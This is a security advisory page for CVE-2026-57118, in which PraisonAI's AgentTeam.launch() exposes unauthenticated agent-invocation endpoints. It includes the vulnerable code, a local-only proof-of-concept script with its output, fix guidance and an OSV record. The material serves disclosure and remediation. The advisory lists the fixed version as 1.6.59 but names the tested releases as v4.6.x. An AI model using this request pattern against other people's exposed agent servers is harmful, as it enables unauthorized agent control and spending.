CVE-2026-57118: Praisonaiagents PraisonAI AgentTeam.launch Exposes Unauthenticated Remote Vulnerability

CRITICAL
Advisory Identifier: GHSA-x8cv-xmq7-p8xp
CVSS 9.8
CWE-306 CWE-862
Published
Advisory Summary

CVE-2026-57118 is a CRITICAL (CVSS 9.8) praisonai agentteam.launch exposes unauthenticated remote vulnerability (CWE-306: Missing Authentication for Critical Function) affecting Praisonaiagents libraries in the PyPI ecosystem. The issue involves praisonai agentteam.launch exposes unauthenticated remote agent listing and invocation endpoints. Remediation is available by upgrading affected packages to version 1.6.59.

CVE-2026-57118 at a Glance

CVE Identifier CVE-2026-57118
GHSA Identifier GHSA-x8cv-xmq7-p8xp
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-306: Missing Authentication for Critical Function
Affected Product Praisonaiagents
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-57118

To remediate this vulnerability, upgrade all affected Praisonaiagents dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonaiagents fixed: 1.6.59
pip install praisonaiagents>=1.6.59
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonaiagents

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-57118, inspect your installed packages using pip:

pip show praisonaiagents

Analyze the terminal output to locate any version of Praisonaiagents in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.59), your application is affected.

Note: The pip show praisonaiagents command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In Praisonaiagents, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# PraisonAI `AgentTeam.launch()` exposes unauthenticated remote agent invocation endpoints ## Summary PraisonAI's documented Python `AgentTeam.launch()` / `Agents.launch()` HTTP server starts externally reachable agent invocation endpoints without any authentication enforcement. The current implementation registers `GET /{path}/list`, `POST /{path}`, and `POST /{path}/{agent_id}` routes. The POST routes directly call `agent.chat(...)`. Requests with no `Authorization` header are accepted, and requests with an obviously wrong bearer token are also accepted. The default Python API bind host for `Agents.launch()` is `0.0.0.0`, and official documentation shows `host="0.0.0.0"` for remote access. This is a sibling/incomplete-fix variant of PraisonAI's prior unauthenticated API server and call server advisory family. Nearby server surfaces were hardened to require tokens, fail closed, or bind locally by default, but the `AgentTeam.launch()` FastAPI path still exposes unauthenticated agent execution on current upstream main and the latest release. This report is scoped to the Python `AgentTeam.launch()` / `Agents.launch()` route-registration path. It does not require adjudicating whether the separate `praisonai serve agents --api-key` CLI path is correctly enforced. ## Affected Components - Package: `praisonaiagents` - Current upstream main tested: `2f9677abb2ea68eab864ee8b6a828fd0141612e1` - Latest release tag tested: `v4.6.57` - Primary file: `src/praisonai-agents/praisonaiagents/agents/agents.py` - Current line references: `AgentTeam.launch()` begins at line 1923; the group `POST` route is registered at line 2007; the group handler invokes `agent_instance.chat(...)` at line 2042; the unauthenticated list route is registered at line 2086; per-agent handlers invoke `agent.chat(...)` at line 2117. - Primary class/API: `AgentTeam.launch()` / exported alias `Agents` - Affected routes: - `GET /{path}/list`: lists deployed agents. - `POST /{path}`: sequentially invokes all agents in the team. - `POST /{path}/{agent_id}`: invokes a specific agent. Current vulnerable sink: ```python @app.post(path) async def handle_query(request: Request, query_data: Optional[AgentQuery] = None): ... response = await loop.run_in_executor( None, copy_context_to_callable(lambda ci=current_input: agent_instance.chat(ci)), ) ``` Per-agent sink: ```python app.post(agent_path)(create_agent_handler(agent_instance)) ... response = await loop.run_in_executor( None, copy_context_to_callable(lambda q=query: agent.chat(q)), ) ``` List endpoint: ```python @app.get(f"{path}/list") async def list_agents(): return {"agents": [{"name": agent.display_name, "id": ...} for agent in self.agents]} ``` There is no middleware, dependency, token comparison, bearer-token parsing, API-key check, or startup fail-closed guard in this launch path. ## Security Boundary This is not a trust-model-only report. PraisonAI's own current security documentation says API servers were hardened so that anonymous requests return `401` and API servers bind to `127.0.0.1` by default after the prior unauthenticated API advisory family. The codebase also contains hardened sibling implementations: - `praisonai.deploy.api` now has `AUTH_ENABLED`, `PRAISONAI_API_TOKEN`, generated tokens, and `401 Unauthorized` checks (`src/praisonai/praisonai/deploy/api.py` lines 44-62 and 69-97). - `praisonai.gateway.server.WebSocketGateway` validates external bind safety, requires a token for external binds, checks bearer/query/cookie auth, and validates WebSocket auth (`src/praisonai/praisonai/gateway/server.py` lines 328-424). - `praisonai call` hardening is documented as requiring `CALL_SERVER_TOKEN` or explicit opt-out. `AgentTeam.launch()` remains outside those shared controls even though it exposes the same class of network-facing agent invocation surface. ## Local-Only Reproduction Run the local-only PoV script below with current source on `PYTHONPATH`: ```bash PYTHONPATH="/path/to/PraisonAI/src/praisonai-agents:/path/to/PraisonAI/src/praisonai" \ python poc_agentteam_launch_unauth.py ``` Expected vulnerable result: ```text [poc] HIT: unauthenticated clients invoked AgentTeam endpoints ``` Observed on current upstream main: ```json { "results": [ { "body": { "agents": [ { "id": "pov_agent", "name": "pov_agent" } ] }, "case": "no_auth_list", "method": "GET", "path": "/agents/list", "status": 200 }, { "case": "no_auth_group", "method": "POST", "path": "/agents", "status": 200, "body": { "final_response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker", "query": "marker", "results": [ { "agent": "pov_agent", "response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker" } ] } }, { "case": "wrong_bearer_group", "method": "POST", "path": "/agents", "status": 200, "body": { "final_response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker", "query": "marker", "results": [ { "agent": "pov_agent", "response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker" } ] } }, { "case": "no_auth_per_agent", "method": "POST", "path": "/agents/pov_agent", "status": 200, "body": { "agent": "pov_agent", "query": "marker", "response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker" } } ] } ``` The PoV binds to `127.0.0.1`, uses a randomly selected local port, stubs `agent.chat()` to avoid any external LLM provider, and sends only local HTTP requests. Standalone PoV script: ```python #!/usr/bin/env python3 """ Local-only PoV for PRAI-CAND-003. Starts a PraisonAI AgentTeam/Agents HTTP server on 127.0.0.1 with a stubbed agent response, then proves both the group endpoint and per-agent endpoint execute without authentication. No model provider or external network is used. """ import json import socket import time import types import threading from contextlib import closing import requests from praisonaiagents import Agent, Agents def _free_port() -> int: with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock: sock.bind(("127.0.0.1", 0)) return sock.getsockname()[1] def main() -> int: port = _free_port() agent = Agent( name="pov_agent", role="tester", goal="test", backstory="test", llm=None, ) def stub_chat(self, query, *args, **kwargs): return f"POV_UNAUTH_AGENTTEAM_EXECUTED:{query}" agent.chat = types.MethodType(stub_chat, agent) team = Agents(agents=[agent]) launch_thread = threading.Thread( target=lambda: team.launch(path="/agents", port=port, host="127.0.0.1", debug=False), daemon=True, ) launch_thread.start() base = f"http://127.0.0.1:{port}" for _ in range(40): try: response = requests.get(base + "/health", timeout=0.25) if response.status_code == 200: break except Exception: time.sleep(0.1) else: raise SystemExit("[poc] MISS: server did not start") cases = [ ("no_auth_list", "GET", {}, "/agents/list", None), ("no_auth_group", "POST", {}, "/agents", {"query": "marker"}), ( "wrong_bearer_group", "POST", {"Authorization": "Bearer definitely-wrong"}, "/agents", {"query": "marker"}, ), ("no_auth_per_agent", "POST", {}, "/agents/pov_agent", {"query": "marker"}), ] results = [] for name, method, headers, path, body in cases: if method == "GET": response = requests.get(base + path, headers=headers, timeout=5) else: response = requests.post(base + path, json=body, headers=headers, timeout=5) try: body = response.json() except Exception: body = response.text results.append( { "case": name, "method": method, "path": path, "status": response.status_code, "body": body, } ) print(json.dumps({"port": port, "results": results}, indent=2, sort_keys=True)) expected_marker = "POV_UNAUTH_AGENTTEAM_EXECUTED:marker" for result in results: if result["status"] != 200: raise SystemExit(f"[poc] MISS: {result['case']} returned {result['status']}") if result["case"] == "no_auth_list" and "pov_agent" not in json.dumps(result["body"]): raise SystemExit("[poc] MISS: unauthenticated list endpoint did not expose agent id") if result["case"] == "no_auth_list": continue body_text = json.dumps(result["body"], sort_keys=True) if expected_marker not in body_text: raise SystemExit(f"[poc] MISS: marker absent for {result['case']}") print("[poc] HIT: unauthenticated clients invoked AgentTeam endpoints") return 0 if __name__ == "__main__": raise SystemExit(main()) ``` ## Impact If an operator follows the documented remote-server pattern and exposes an `AgentTeam.launch()` server on a reachable interface, any network client can invoke the deployed agents without credentials. Depending on the deployed agents, an unauthenticated caller may be able to: - enumerate available agent IDs and names through `GET /{path}/list`; - trigger model/API spend by repeatedly invoking agents; - drive agents connected to local tools, internal APIs, SaaS integrations, browsers, files, or workflow actions; - trigger side effects through per-agent endpoints even if the operator expected only the team endpoint to be used; - access responses generated from connected private context, memory, or knowledge sources. The impact is deployment-dependent, but the missing access control is in the framework's advertised network server path rather than in user application code. ## Affected-Version Sweep Static sweep of release tags shows the unauthenticated `AgentTeam.launch()` handler and per-agent registration present in: - `v4.6.33` - `v4.6.39` - `v4.6.40` - `v4.6.56` - `v4.6.57` The issue remains present on current upstream main `2f9677abb2ea68eab864ee8b6a828fd0141612e1`. The generated deploy API path was hardened between `v4.6.33` and `v4.6.39`, and remains hardened in `v4.6.57`. This supports the incomplete-fix/sibling-callsite classification: the fix did not cover `AgentTeam.launch()`. ## Root Cause The `AgentTeam.launch()` FastAPI server is implemented as an independent route-registration path. It does not reuse the hardened API server authentication helper, the gateway bind-aware auth guard, or a shared server-auth policy. The security-sensitive action is direct invocation of `agent.chat()` from a network request. The route has no access-control check before that call. ## Suggested Fix Recommended approach: 1. Add a shared authentication helper for all network-facing agent invocation servers. 2. Make `AgentTeam.launch()` fail closed for non-loopback binds unless a token/API key is configured. 3. Require `Authorization: Bearer <token>` or an explicit documented API-key header for `POST /{path}`, `GET /{path}/list`, and `POST /{path}/{agent_id}`. 4. Default `AgentTeam.launch()` to `host="127.0.0.1"` unless an explicit unsafe/remote option plus auth is configured. 5. Add regression tests proving: - no token returns `401`; - wrong token returns `403`; - correct token can list agents; - correct token can invoke the team endpoint; - correct token can invoke the per-agent endpoint; - external bind without auth fails at startup. If unauthenticated local development remains supported, require loopback binding and a loud explicit unsafe opt-out for externally bound unauthenticated servers. ## Severity Recommended severity: Critical Rationale: - Network attack vector: the documented server supports remote access via `0.0.0.0`. - Low complexity: a single POST request invokes the agent. - No privileges: no credentials are required. - No user interaction: once the server is exposed, the attacker directly sends requests. - High confidentiality/integrity/availability impact depends on deployed agents and connected tools, but this is the same agent-control class as prior PraisonAI unauthenticated API advisories. The official remote-agent documentation explicitly discusses remote agents with tools, memory, knowledge, and auth headers, so the security-relevant configuration is not hypothetical. If maintainers want to score based only on minimal agents with no tools and no private context, the lower-bound impact would still include unauthorized remote invocation and model/API spend. ## Notes The direct single-agent `Agent.launch()` path in current source appears to share the same missing-auth design, but it raises `NameError: name '_server_lock' is not defined` before serving in the tested local source checkout. This report therefore makes the primary impact claim only for the confirmed working `AgentTeam.launch()` / `Agents.launch()` path. The CLI `praisonai serve agents` surface advertises a `--api-key` option and should be reviewed by maintainers when applying a shared fix, but this submission does not depend on a CLI-specific bypass claim.

CVE-2026-57118 Affected Praisonaiagents Versions

1 component(s)
Fixed Versions:
1.6.59
Product / Package Ecosystem Affected Versions Fixed Version
praisonaiagents
PyPI
< 1.6.59
1.6.59

References

Frequently Asked Questions

What is CVE-2026-57118?
CVE-2026-57118 is a security vulnerability in Praisonaiagents involving PraisonAI AgentTeam.launch exposes unauthenticated remote agent listing and invocation endpoints under CWE-306: Missing Authentication for Critical Function.
Which Praisonaiagents versions are affected?
Affected versions include releases prior to 1.6.59 across affected packages: praisonaiagents.
What version fixes CVE-2026-57118?
Upgrading to 1.6.59 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonaiagents affected?
Yes, praisonaiagents is affected in releases prior to 1.6.59. Upgrade your dependency to 1.6.59 or later.
What is the CVSS score of CVE-2026-57118?
CVE-2026-57118 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-57118?
CVE-2026-57118 is classified under CWE-306: Missing Authentication for Critical Function (The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.).
How can I check PyPI dependencies for CVE-2026-57118?
Run the dependency tree command: 'pip show praisonaiagents'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x8cv-xmq7-p8xp",
  "modified" : "2026-07-20T21:24:21Z",
  "published" : "2026-06-18T13:57:32Z",
  "aliases" : [ "CVE-2026-57118" ],
  "summary" : "PraisonAI AgentTeam.launch exposes unauthenticated remote agent listing and invocation endpoints",
  "details" : "# PraisonAI `AgentTeam.launch()` exposes unauthenticated remote agent invocation endpoints\n\n## Summary\n\nPraisonAI's documented Python `AgentTeam.launch()` / `Agents.launch()` HTTP server starts externally reachable agent invocation endpoints without any authentication enforcement.\n\nThe current implementation registers `GET /{path}/list`, `POST /{path}`, and `POST /{path}/{agent_id}` routes. The POST routes directly call `agent.chat(...)`. Requests with no `Authorization` header are accepted, and requests with an obviously wrong bearer token are also accepted. The default Python API bind host for `Agents.launch()` is `0.0.0.0`, and official documentation shows `host=\"0.0.0.0\"` for remote access.\n\nThis is a sibling/incomplete-fix variant of PraisonAI's prior unauthenticated API server and call server advisory family. Nearby server surfaces were hardened to require tokens, fail closed, or bind locally by default, but the `AgentTeam.launch()` FastAPI path still exposes unauthenticated agent execution on current upstream main and the latest release.\n\nThis report is scoped to the Python `AgentTeam.launch()` / `Agents.launch()` route-registration path. It does not require adjudicating whether the separate `praisonai serve agents --api-key` CLI path is correctly enforced.\n\n## Affected Components\n\n- Package: `praisonaiagents`\n- Current upstream main tested: `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n- Latest release tag tested: `v4.6.57`\n- Primary file: `src/praisonai-agents/praisonaiagents/agents/agents.py`\n- Current line references: `AgentTeam.launch()` begins at line 1923;\n  the group `POST` route is registered at line 2007; the group handler invokes\n  `agent_instance.chat(...)` at line 2042; the unauthenticated list route is\n  registered at line 2086; per-agent handlers invoke `agent.chat(...)` at line\n  2117.\n- Primary class/API: `AgentTeam.launch()` / exported alias `Agents`\n- Affected routes:\n  - `GET /{path}/list`: lists deployed agents.\n  - `POST /{path}`: sequentially invokes all agents in the team.\n  - `POST /{path}/{agent_id}`: invokes a specific agent.\n\nCurrent vulnerable sink:\n\n```python\n@app.post(path)\nasync def handle_query(request: Request, query_data: Optional[AgentQuery] = None):\n    ...\n    response = await loop.run_in_executor(\n        None,\n        copy_context_to_callable(lambda ci=current_input: agent_instance.chat(ci)),\n    )\n```\n\nPer-agent sink:\n\n```python\napp.post(agent_path)(create_agent_handler(agent_instance))\n...\nresponse = await loop.run_in_executor(\n    None,\n    copy_context_to_callable(lambda q=query: agent.chat(q)),\n)\n```\n\nList endpoint:\n\n```python\n@app.get(f\"{path}/list\")\nasync def list_agents():\n    return {\"agents\": [{\"name\": agent.display_name, \"id\": ...} for agent in self.agents]}\n```\n\nThere is no middleware, dependency, token comparison, bearer-token parsing, API-key check, or startup fail-closed guard in this launch path.\n\n## Security Boundary\n\nThis is not a trust-model-only report. PraisonAI's own current security documentation says API servers were hardened so that anonymous requests return `401` and API servers bind to `127.0.0.1` by default after the prior unauthenticated API advisory family.\n\nThe codebase also contains hardened sibling implementations:\n\n- `praisonai.deploy.api` now has `AUTH_ENABLED`, `PRAISONAI_API_TOKEN`, generated tokens, and `401 Unauthorized` checks (`src/praisonai/praisonai/deploy/api.py` lines 44-62 and 69-97).\n- `praisonai.gateway.server.WebSocketGateway` validates external bind safety, requires a token for external binds, checks bearer/query/cookie auth, and validates WebSocket auth (`src/praisonai/praisonai/gateway/server.py` lines 328-424).\n- `praisonai call` hardening is documented as requiring `CALL_SERVER_TOKEN` or explicit opt-out.\n\n`AgentTeam.launch()` remains outside those shared controls even though it exposes the same class of network-facing agent invocation surface.\n\n## Local-Only Reproduction\n\nRun the local-only PoV script below with current source on `PYTHONPATH`:\n\n```bash\nPYTHONPATH=\"/path/to/PraisonAI/src/praisonai-agents:/path/to/PraisonAI/src/praisonai\" \\\n  python poc_agentteam_launch_unauth.py\n```\n\nExpected vulnerable result:\n\n```text\n[poc] HIT: unauthenticated clients invoked AgentTeam endpoints\n```\n\nObserved on current upstream main:\n\n```json\n{\n  \"results\": [\n    {\n      \"body\": {\n        \"agents\": [\n          {\n            \"id\": \"pov_agent\",\n            \"name\": \"pov_agent\"\n          }\n        ]\n      },\n      \"case\": \"no_auth_list\",\n      \"method\": \"GET\",\n      \"path\": \"/agents/list\",\n      \"status\": 200\n    },\n    {\n      \"case\": \"no_auth_group\",\n      \"method\": \"POST\",\n      \"path\": \"/agents\",\n      \"status\": 200,\n      \"body\": {\n        \"final_response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\",\n        \"query\": \"marker\",\n        \"results\": [\n          {\n            \"agent\": \"pov_agent\",\n            \"response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n          }\n        ]\n      }\n    },\n    {\n      \"case\": \"wrong_bearer_group\",\n      \"method\": \"POST\",\n      \"path\": \"/agents\",\n      \"status\": 200,\n      \"body\": {\n        \"final_response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\",\n        \"query\": \"marker\",\n        \"results\": [\n          {\n            \"agent\": \"pov_agent\",\n            \"response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n          }\n        ]\n      }\n    },\n    {\n      \"case\": \"no_auth_per_agent\",\n      \"method\": \"POST\",\n      \"path\": \"/agents/pov_agent\",\n      \"status\": 200,\n      \"body\": {\n        \"agent\": \"pov_agent\",\n        \"query\": \"marker\",\n        \"response\": \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n      }\n    }\n  ]\n}\n```\n\nThe PoV binds to `127.0.0.1`, uses a randomly selected local port, stubs `agent.chat()` to avoid any external LLM provider, and sends only local HTTP requests.\n\nStandalone PoV script:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nLocal-only PoV for PRAI-CAND-003.\n\nStarts a PraisonAI AgentTeam/Agents HTTP server on 127.0.0.1 with a stubbed\nagent response, then proves both the group endpoint and per-agent endpoint\nexecute without authentication. No model provider or external network is used.\n\"\"\"\n\nimport json\nimport socket\nimport time\nimport types\nimport threading\nfrom contextlib import closing\n\nimport requests\nfrom praisonaiagents import Agent, Agents\n\n\ndef _free_port() -> int:\n    with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:\n        sock.bind((\"127.0.0.1\", 0))\n        return sock.getsockname()[1]\n\n\ndef main() -> int:\n    port = _free_port()\n\n    agent = Agent(\n        name=\"pov_agent\",\n        role=\"tester\",\n        goal=\"test\",\n        backstory=\"test\",\n        llm=None,\n    )\n\n    def stub_chat(self, query, *args, **kwargs):\n        return f\"POV_UNAUTH_AGENTTEAM_EXECUTED:{query}\"\n\n    agent.chat = types.MethodType(stub_chat, agent)\n    team = Agents(agents=[agent])\n    launch_thread = threading.Thread(\n        target=lambda: team.launch(path=\"/agents\", port=port, host=\"127.0.0.1\", debug=False),\n        daemon=True,\n    )\n    launch_thread.start()\n\n    base = f\"http://127.0.0.1:{port}\"\n    for _ in range(40):\n        try:\n            response = requests.get(base + \"/health\", timeout=0.25)\n            if response.status_code == 200:\n                break\n        except Exception:\n            time.sleep(0.1)\n    else:\n        raise SystemExit(\"[poc] MISS: server did not start\")\n\n    cases = [\n        (\"no_auth_list\", \"GET\", {}, \"/agents/list\", None),\n        (\"no_auth_group\", \"POST\", {}, \"/agents\", {\"query\": \"marker\"}),\n        (\n            \"wrong_bearer_group\",\n            \"POST\",\n            {\"Authorization\": \"Bearer definitely-wrong\"},\n            \"/agents\",\n            {\"query\": \"marker\"},\n        ),\n        (\"no_auth_per_agent\", \"POST\", {}, \"/agents/pov_agent\", {\"query\": \"marker\"}),\n    ]\n    results = []\n    for name, method, headers, path, body in cases:\n        if method == \"GET\":\n            response = requests.get(base + path, headers=headers, timeout=5)\n        else:\n            response = requests.post(base + path, json=body, headers=headers, timeout=5)\n        try:\n            body = response.json()\n        except Exception:\n            body = response.text\n        results.append(\n            {\n                \"case\": name,\n                \"method\": method,\n                \"path\": path,\n                \"status\": response.status_code,\n                \"body\": body,\n            }\n        )\n\n    print(json.dumps({\"port\": port, \"results\": results}, indent=2, sort_keys=True))\n\n    expected_marker = \"POV_UNAUTH_AGENTTEAM_EXECUTED:marker\"\n    for result in results:\n        if result[\"status\"] != 200:\n            raise SystemExit(f\"[poc] MISS: {result['case']} returned {result['status']}\")\n        if result[\"case\"] == \"no_auth_list\" and \"pov_agent\" not in json.dumps(result[\"body\"]):\n            raise SystemExit(\"[poc] MISS: unauthenticated list endpoint did not expose agent id\")\n        if result[\"case\"] == \"no_auth_list\":\n            continue\n        body_text = json.dumps(result[\"body\"], sort_keys=True)\n        if expected_marker not in body_text:\n            raise SystemExit(f\"[poc] MISS: marker absent for {result['case']}\")\n\n    print(\"[poc] HIT: unauthenticated clients invoked AgentTeam endpoints\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n## Impact\n\nIf an operator follows the documented remote-server pattern and exposes an `AgentTeam.launch()` server on a reachable interface, any network client can invoke the deployed agents without credentials.\n\nDepending on the deployed agents, an unauthenticated caller may be able to:\n\n- enumerate available agent IDs and names through `GET /{path}/list`;\n- trigger model/API spend by repeatedly invoking agents;\n- drive agents connected to local tools, internal APIs, SaaS integrations, browsers, files, or workflow actions;\n- trigger side effects through per-agent endpoints even if the operator expected only the team endpoint to be used;\n- access responses generated from connected private context, memory, or knowledge sources.\n\nThe impact is deployment-dependent, but the missing access control is in the framework's advertised network server path rather than in user application code.\n\n## Affected-Version Sweep\n\nStatic sweep of release tags shows the unauthenticated `AgentTeam.launch()` handler and per-agent registration present in:\n\n- `v4.6.33`\n- `v4.6.39`\n- `v4.6.40`\n- `v4.6.56`\n- `v4.6.57`\n\nThe issue remains present on current upstream main `2f9677abb2ea68eab864ee8b6a828fd0141612e1`.\n\nThe generated deploy API path was hardened between `v4.6.33` and `v4.6.39`, and remains hardened in `v4.6.57`. This supports the incomplete-fix/sibling-callsite classification: the fix did not cover `AgentTeam.launch()`.\n\n## Root Cause\n\nThe `AgentTeam.launch()` FastAPI server is implemented as an independent route-registration path. It does not reuse the hardened API server authentication helper, the gateway bind-aware auth guard, or a shared server-auth policy.\n\nThe security-sensitive action is direct invocation of `agent.chat()` from a network request. The route has no access-control check before that call.\n\n## Suggested Fix\n\nRecommended approach:\n\n1. Add a shared authentication helper for all network-facing agent invocation servers.\n2. Make `AgentTeam.launch()` fail closed for non-loopback binds unless a token/API key is configured.\n3. Require `Authorization: Bearer <token>` or an explicit documented API-key header for `POST /{path}`, `GET /{path}/list`, and `POST /{path}/{agent_id}`.\n4. Default `AgentTeam.launch()` to `host=\"127.0.0.1\"` unless an explicit unsafe/remote option plus auth is configured.\n5. Add regression tests proving:\n   - no token returns `401`;\n   - wrong token returns `403`;\n   - correct token can list agents;\n   - correct token can invoke the team endpoint;\n   - correct token can invoke the per-agent endpoint;\n   - external bind without auth fails at startup.\n\nIf unauthenticated local development remains supported, require loopback binding and a loud explicit unsafe opt-out for externally bound unauthenticated servers.\n\n## Severity\n\nRecommended severity: Critical\n\nRationale:\n\n- Network attack vector: the documented server supports remote access via `0.0.0.0`.\n- Low complexity: a single POST request invokes the agent.\n- No privileges: no credentials are required.\n- No user interaction: once the server is exposed, the attacker directly sends requests.\n- High confidentiality/integrity/availability impact depends on deployed agents and connected tools, but this is the same agent-control class as prior PraisonAI unauthenticated API advisories. The official remote-agent documentation explicitly discusses remote agents with tools, memory, knowledge, and auth headers, so the security-relevant configuration is not hypothetical.\n\nIf maintainers want to score based only on minimal agents with no tools and no private context, the lower-bound impact would still include unauthorized remote invocation and model/API spend.\n\n## Notes\n\nThe direct single-agent `Agent.launch()` path in current source appears to share the same missing-auth design, but it raises `NameError: name '_server_lock' is not defined` before serving in the tested local source checkout. This report therefore makes the primary impact claim only for the confirmed working `AgentTeam.launch()` / `Agents.launch()` path.\n\nThe CLI `praisonai serve agents` surface advertises a `--api-key` option and should be reviewed by maintainers when applying a shared fix, but this submission does not depend on a CLI-specific bypass claim.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonaiagents"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.59"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x8cv-xmq7-p8xp"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306", "CWE-862" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-18T13:57:32Z",
    "nvd_published_at" : null
  }
}